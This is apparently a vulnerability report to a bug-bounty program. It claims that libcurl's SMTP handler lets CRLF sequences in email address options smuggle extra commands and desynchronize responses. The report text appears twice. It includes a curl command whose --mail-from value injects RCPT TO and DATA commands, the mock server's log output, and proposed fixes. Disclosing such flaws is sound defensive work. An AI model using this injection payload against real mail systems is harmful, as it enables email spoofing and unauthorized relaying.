Description
## Executive Summary
A critical security vulnerability has been identified in `libcurl`'s SMTP protocol handler. The vulnerability allows for **SMTP Command Smuggling** and **Protocol Desynchronization** by injecting CRLF sequences into email address fields. This can be exploited to bypass security controls, forge emails, and smuggle arbitrary commands into the SMTP stream.
## Vulnerability Details
**1. Root Cause: Insufficient Input Validation**
The function `smtp_parse_address` in `lib/smtp.c` is responsible for parsing email addresses for options like `CURLOPT_MAIL_FROM`, `CURLOPT_MAIL_RCPT`, and `CURLOPT_MAIL_AUTH`.
Unlike other parts of the SMTP handler (e.g., custom requests), this function does **not** use Curl_urldecode with `REJECT_CTRL` and does not perform any validation for control characters. It allows `\r\n` to pass through into the `suffix` component, which is later concatenated into raw protocol commands sent via Curl_pp_sendf.
**2. Protocol Desynchronization (Response Smuggling)**
The vulnerability is amplified by a failure in the SMTP state machine to detect "extra" responses from the server.
`libcurl` uses a "pingpong" mechanism `lib/pingpong.c` where it sends one command and waits for one response. If an attacker injects multiple commands (e.g., `MAIL FROM:<addr>\r\nQUIT`), the server sends multiple responses.
**Code-Level Evidence (lib/smtp.c):**
- **VULNERABLE**: The handlers for `MAIL`, `RCPT`, and `DATA` responses (lines 1152, 1173, 1233) **fail to check** the `pp.overflow` flag. They read the first response and proceed to the next state, leaving the injected responses in the buffer to be consumed as the "result" of subsequent legitimate commands.
- **PROTECTED**: The `STARTTLS` handler (line 930) correctly implements this check:
```c
if(smtpc->pp.overflow)
return CURLE_WEIRD_SERVER_REPLY;
```
The absence of this check in core mail-sending states allows an attacker to desynchronize the client-server state, causing curl to misinterpret the success or failure of later commands based on injected responses.
## Proof of Concept (PoC)
{F5166562}
{F5166563}
### Reproduction Steps
### Step 1: Start the Mock SMTP Server
Run the following command in a terminal to start the mock server. This server logs every command received and highlights when it processes smuggled instructions.
{F5166566}
```
python3 smtp_repro.py
```
### Step 2: Run the Exploit Command
In a **different** terminal, run the following curl command. We use a specially crafted `--mail-from` that includes a smuggled `RCPT TO` and `DATA` block.
```bash
curl -v smtp://localhost:2525 \
--mail-from $'<[email protected]>\r\nRCPT TO:<[email protected]>\r\nDATA\r\nSubject: Smuggled!\r\n\r\nThis email bypasses legitimate recipient lists!\r\n.\r\n' \
--mail-rcpt "[email protected]" \
--upload-file /dev/null
```
### Step 3: Observe the Desynchronization
### Server-Side Output (Terminal 1)
The Python server will show that it received a single block of data but interpreted it as **multiple independent SMTP commands**:
```text
[!] Received Data Block (potentially containing multiple commands):
[C->S] MAIL FROM:<[email protected]>
[C->S] RCPT TO:<[email protected]>
[C->S] DATA
[C->S] Subject: Smuggled!
...
[!] EXPLOIT: Server is executing SMUGGLED command: RCPT TO:<[email protected]>
[!] EXPLOIT: Server is entering SMUGGLED DATA phase
```
### Protocol Desynchronization Proof
Watch the final lines of the server log:
1. curl sends its "legitimate" `RCPT TO:<[email protected]>`.
2. curl reads the next available bytes from the socket.
3. Due to the injection, the **next response** in the socket is the `354` or `250` for the *injected* commands.
4. curl treats this smuggled response as the validation for `[email protected]`.
**Actual `curl -v` Impact**:
curl logs will report that it successfully sent the mail to `[email protected]`, but in reality, the response it verified was for the smuggled recipient `[email protected]`. The legitimate email might even fail, yet curl could report success if the injected commands were crafted to align with the expected response codes.
## Recommendations
1. **Implement `REJECT_CTRL`**: Update smtp_parse_address `curl-master/lib/smtp.c#1825-1906` to reject control characters.
2. **Universal Overflow Enforcement**: Add `pp.overflow` validation to all SMTP state response handlers (MAIL, RCPT, DATA, VRFY, EXPN) to ensure client-server state synchronization.
## Impact
- **Email Fraud/Spoofing**: Forge sender addresses and inject arbitrary headers.
- **Unauthorized Distribution**: Send emails to undisclosed recipients by smuggling `RCPT TO` commands.
- **Protocol Smuggling**: Use `curl-master/lib/urlapi.c#1271-1277` as an SSRF proxy to tunnel commands into internal SMTP relays.
A critical security vulnerability has been identified in `libcurl`'s SMTP protocol handler. The vulnerability allows for **SMTP Command Smuggling** and **Protocol Desynchronization** by injecting CRLF sequences into email address fields. This can be exploited to bypass security controls, forge emails, and smuggle arbitrary commands into the SMTP stream.
## Vulnerability Details
**1. Root Cause: Insufficient Input Validation**
The function `smtp_parse_address` in `lib/smtp.c` is responsible for parsing email addresses for options like `CURLOPT_MAIL_FROM`, `CURLOPT_MAIL_RCPT`, and `CURLOPT_MAIL_AUTH`.
Unlike other parts of the SMTP handler (e.g., custom requests), this function does **not** use Curl_urldecode with `REJECT_CTRL` and does not perform any validation for control characters. It allows `\r\n` to pass through into the `suffix` component, which is later concatenated into raw protocol commands sent via Curl_pp_sendf.
**2. Protocol Desynchronization (Response Smuggling)**
The vulnerability is amplified by a failure in the SMTP state machine to detect "extra" responses from the server.
`libcurl` uses a "pingpong" mechanism `lib/pingpong.c` where it sends one command and waits for one response. If an attacker injects multiple commands (e.g., `MAIL FROM:<addr>\r\nQUIT`), the server sends multiple responses.
**Code-Level Evidence (lib/smtp.c):**
- **VULNERABLE**: The handlers for `MAIL`, `RCPT`, and `DATA` responses (lines 1152, 1173, 1233) **fail to check** the `pp.overflow` flag. They read the first response and proceed to the next state, leaving the injected responses in the buffer to be consumed as the "result" of subsequent legitimate commands.
- **PROTECTED**: The `STARTTLS` handler (line 930) correctly implements this check:
```c
if(smtpc->pp.overflow)
return CURLE_WEIRD_SERVER_REPLY;
```
The absence of this check in core mail-sending states allows an attacker to desynchronize the client-server state, causing curl to misinterpret the success or failure of later commands based on injected responses.
## Proof of Concept (PoC)
{F5166562}
{F5166563}
### Reproduction Steps
### Step 1: Start the Mock SMTP Server
Run the following command in a terminal to start the mock server. This server logs every command received and highlights when it processes smuggled instructions.
{F5166566}
```
python3 smtp_repro.py
```
### Step 2: Run the Exploit Command
In a **different** terminal, run the following curl command. We use a specially crafted `--mail-from` that includes a smuggled `RCPT TO` and `DATA` block.
```bash
curl -v smtp://localhost:2525 \
--mail-from $'<[email protected]>\r\nRCPT TO:<[email protected]>\r\nDATA\r\nSubject: Smuggled!\r\n\r\nThis email bypasses legitimate recipient lists!\r\n.\r\n' \
--mail-rcpt "[email protected]" \
--upload-file /dev/null
```
### Step 3: Observe the Desynchronization
### Server-Side Output (Terminal 1)
The Python server will show that it received a single block of data but interpreted it as **multiple independent SMTP commands**:
```text
[!] Received Data Block (potentially containing multiple commands):
[C->S] MAIL FROM:<[email protected]>
[C->S] RCPT TO:<[email protected]>
[C->S] DATA
[C->S] Subject: Smuggled!
...
[!] EXPLOIT: Server is executing SMUGGLED command: RCPT TO:<[email protected]>
[!] EXPLOIT: Server is entering SMUGGLED DATA phase
```
### Protocol Desynchronization Proof
Watch the final lines of the server log:
1. curl sends its "legitimate" `RCPT TO:<[email protected]>`.
2. curl reads the next available bytes from the socket.
3. Due to the injection, the **next response** in the socket is the `354` or `250` for the *injected* commands.
4. curl treats this smuggled response as the validation for `[email protected]`.
**Actual `curl -v` Impact**:
curl logs will report that it successfully sent the mail to `[email protected]`, but in reality, the response it verified was for the smuggled recipient `[email protected]`. The legitimate email might even fail, yet curl could report success if the injected commands were crafted to align with the expected response codes.
## Recommendations
1. **Implement `REJECT_CTRL`**: Update smtp_parse_address `curl-master/lib/smtp.c#1825-1906` to reject control characters.
2. **Universal Overflow Enforcement**: Add `pp.overflow` validation to all SMTP state response handlers (MAIL, RCPT, DATA, VRFY, EXPN) to ensure client-server state synchronization.
## Impact
- **Email Fraud/Spoofing**: Forge sender addresses and inject arbitrary headers.
- **Unauthorized Distribution**: Send emails to undisclosed recipients by smuggling `RCPT TO` commands.
- **Protocol Smuggling**: Use `curl-master/lib/urlapi.c#1271-1277` as an SSRF proxy to tunnel commands into internal SMTP relays.
Basic Information
ID
H1:3481595
Published
Dec 29, 2025 at 17:23
Modified
Dec 29, 2025 at 21:28